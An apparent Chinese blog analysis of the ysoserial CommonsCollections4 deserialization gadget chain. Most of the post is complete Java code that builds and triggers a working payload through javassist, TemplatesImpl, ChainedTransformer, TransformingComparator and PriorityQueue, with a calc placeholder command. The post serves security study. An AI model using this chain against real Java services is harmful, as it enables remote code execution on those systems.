ysoserial CommonsColletions4分析_洋洋cc的博客-程序员宅基地

技术标签: JAVA安全  

其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点。

不过要注意的是,CC4和CC2一样需要在commons-collections-4.0版本使用,3.1-3.2.1版本不能去使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

JDK版本对于CC2和CC4来说,1.7和1.8都测试成功,下面我们就来快速构造一下payload

构造payload

CC4用的是javassist创建攻击类,使用TemplatesImpl类中的newTransformer方法触发攻击类中的静态方法

public class Demo {
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
    
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{
    bytes});
        setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        templatesImpl.newTransformer();
    }
}

通过ConstantTransformer、InstantiateTransformer、ChainedTransformer三个类构造出一条调用链

        Transformer[] transformers = new Transformer[]{
    
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{
    Templates.class},
                new Object[]{
    templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

利用TransformingComparator触发chain#transform

        TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修饰器传入transformer对象

因为在优先级队列PriorityQueue反序列时候,满足条件即可调用到compare方法,所以利用这点来调用到TransformingComparator的compare

image-20210708203548258

        //创建PriorityQueue实例化对象,排序后使size值为2
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(1);

        Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue, comparator);//设置PriorityQueue的comparator字段值为comparator

        Field field3 = queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue, new Object[]{
    templatesImpl, templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl

最后几个注意点复习下:

size>= 2:对应queue.add调用两次

initialCapacity的值不能小于1:对应new PriorityQueue(1)

comparator的值要通过反射进行传入,不然会在序列化时候抛出异常

构造出的Payload:

public class payload01 {
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
    
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xxxx");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{
    bytes});

        Transformer[] transformers = new Transformer[]{
    
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{
    Templates.class},
                new Object[]{
    templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修饰器传入transformer对象

        //创建PriorityQueue实例化对象,排序后使size值为2
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(1);

        Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue, comparator);//设置PriorityQueue的comparator字段值为comparator

        Field field3 = queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue, new Object[]{
    templatesImpl, templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_45382656/article/details/118637617

智能推荐

音频混音算法的实现_dancing_night的博客-程序员宅基地

转自:http://blog.csdn.net/iflychenyang/article/details/11680449线性叠加后求平均优点:不会产生溢出,噪音较小; 缺点:衰减过大,影响通话质量;short remix(short buffer1,short buffer2) { int value = buffer1 + buffer2; return (sho

理解API,API工作原理_daodanxiansheng的博客-程序员宅基地

转载于https://blog.csdn.net/cumtdeyurenjie/article/details/80211896作者:cumtdeyurenjie 译 如何理解API,API 是如何工作的 ...

java中的remove函数,Java ConcurrentSkipListSet remove()用法及代码示例_weixin_40004960的博客-程序员宅基地

java.util.concurrent.ConcurrentSkipListSet.remove()方法是Java中的内置函数,用于删除元素(如果此集合中存在)。用法:ConcurrentSkipListSet.remove(Object o)参数:该函数接受单个参数,即要删除的对象。返回值:成功删除对象后,该函数将返回true布尔值,否则返回false。以下示例程序旨在说明Concurrent...

高速硬盘和固态硬盘的区别_HOLD ON!的博客-程序员宅基地

高速硬盘和固态硬盘的区别:1、容量不同。固态硬盘比同容量硬盘体积小、重量轻。但这一优势随容量增大而逐渐减弱。直至256GB,固态硬盘仍比相同容量的普通硬盘轻。高速硬盘最大容量为100TB 3.5英寸。2、性能不同。固态硬盘内部不存在任何机械活动部件,不会发生机械故障,也不怕碰撞、冲击、振动。这样即使在高速移动甚至伴随翻转倾斜的情况下也不会影响到正常使用,而且在笔记本电脑发生意外掉落或与硬物...

AndroidStudio禁用插件导致无法使用的问题_reinstall scratch_dragon-Zjl的博客-程序员宅基地

错误:Missing essential plugin: org.jetbrains.android Please reinstall Android Studio from scratch~/Library/Application Support/Google/AndroidStudio4.1/disabled_plugins.txt去掉禁用插件配置文件中的新增插件:kotlin // 笔者是禁用了这个导致出问题了原文链接:https://www.jianshu.com/p/7da420

X11,xorg.conf配置详解_daichadongqing的博客-程序员宅基地

X11R7X11R7其实就是目前Ubuntu使用的X Server,它于2005年12月被释出,与之前的X11R6.9其实具有相同的源代码(Source Code)。不过X11R7的模块化设计,可提高开发时的容易度。X11R重要目录与X11R7有关的软件,大多放在/usr及其子目录中。以下是较为重要的目录的说明: /usr/bin:存放X Server和不同的X Clients

随便推点

Idea热部署插件JRebel_cxscode的博客-程序员宅基地

安装部署:https://blog.csdn.net/weixin_42831477/article/details/82229436Jrebel不生效的原因和解决办法:https://www.cnblogs.com/grey-wolf/p/9933899.html补充一点参考文章没提到的每次启动点击这里...

用三元运算符判断是奇数还是偶数 (Java经典编程案例)_三元运算符判断奇偶数_数据知道的博客-程序员宅基地

用三元运算符实现奇偶数的判断,程序要求用户输入一个整数,然后程序判断是奇数还是偶数,并输出到控制台中。代码如下:import java.util.Scanner;/** * 用三元运算符判断是奇书还是偶数 */public class Example { public static void main(String[] args) { Scanner scanne...

详解ubuntu18.04+GTX960m的440版本驱动+python3.6+anaconda+ cuda9.0+cudnn7.6.5+pycharm+tensorflow1.12.0_ubuntu系统安装gt440_野生蘑菇菌的博客-程序员宅基地

咳咳…正式开始,现在时间:1、安装显卡驱动在软件商店的右上角位置点击软件和更新找到附加驱动,选择这个然后点击应用更改。查阅资料发现,X.org适合老版显卡,所以最好装闭源驱动。查看可以用的驱动:ubuntu-drivers devices选择推荐的440。检查:sudo /usr/bin/nvidia-settings提示:根据博客Dell-1080Ti 深度学习Win ...

使用devops的团队_跨职能DevOps团队的8个角色_cumj63710的博客-程序员宅基地

使用devops的团队 如果您刚开始使用小队模型,则可能不确定团队要顺利运作需要哪些角色。 我们在IBM Digital Business Group中的小队模型基于Spotify Squad框架 。 在较高的级别上,小队是一个跨职能的小型团队,具有执行小队任务的自主权。 小队任务和跨小队的优先级是在组织级别上确定的。 然后,在每个小组中,他们决定“构建什么,如何构建,以及在构建过程中如何协同工...

java io 好文传送_dhwu43996的博客-程序员宅基地

转自:白大虾地址:https://www.cnblogs.com/baixl/p/4170599.html主要内容java.io.File类的使用IO原理及流的分类文件流FileInputStream / FileOutputStream / FileReader / FileWriter缓冲流Buffere...

java 开发工具包 jdk 64位 jdk-8u221-windows-x64.exe 迅雷下载_denghan9435的博客-程序员宅基地

迅雷下载链接(迅雷新建任务,复制链接进去):https://download.oracle.com/otn/java/jdk/8u221-b11/230deb18db3e4014bb8e3e8324f81b43/jdk-8u221-windows-x64.exe?AuthParam=1563589007_663a1f07ff53f2baa3925f340f025ad7...

推荐文章

热门文章

相关标签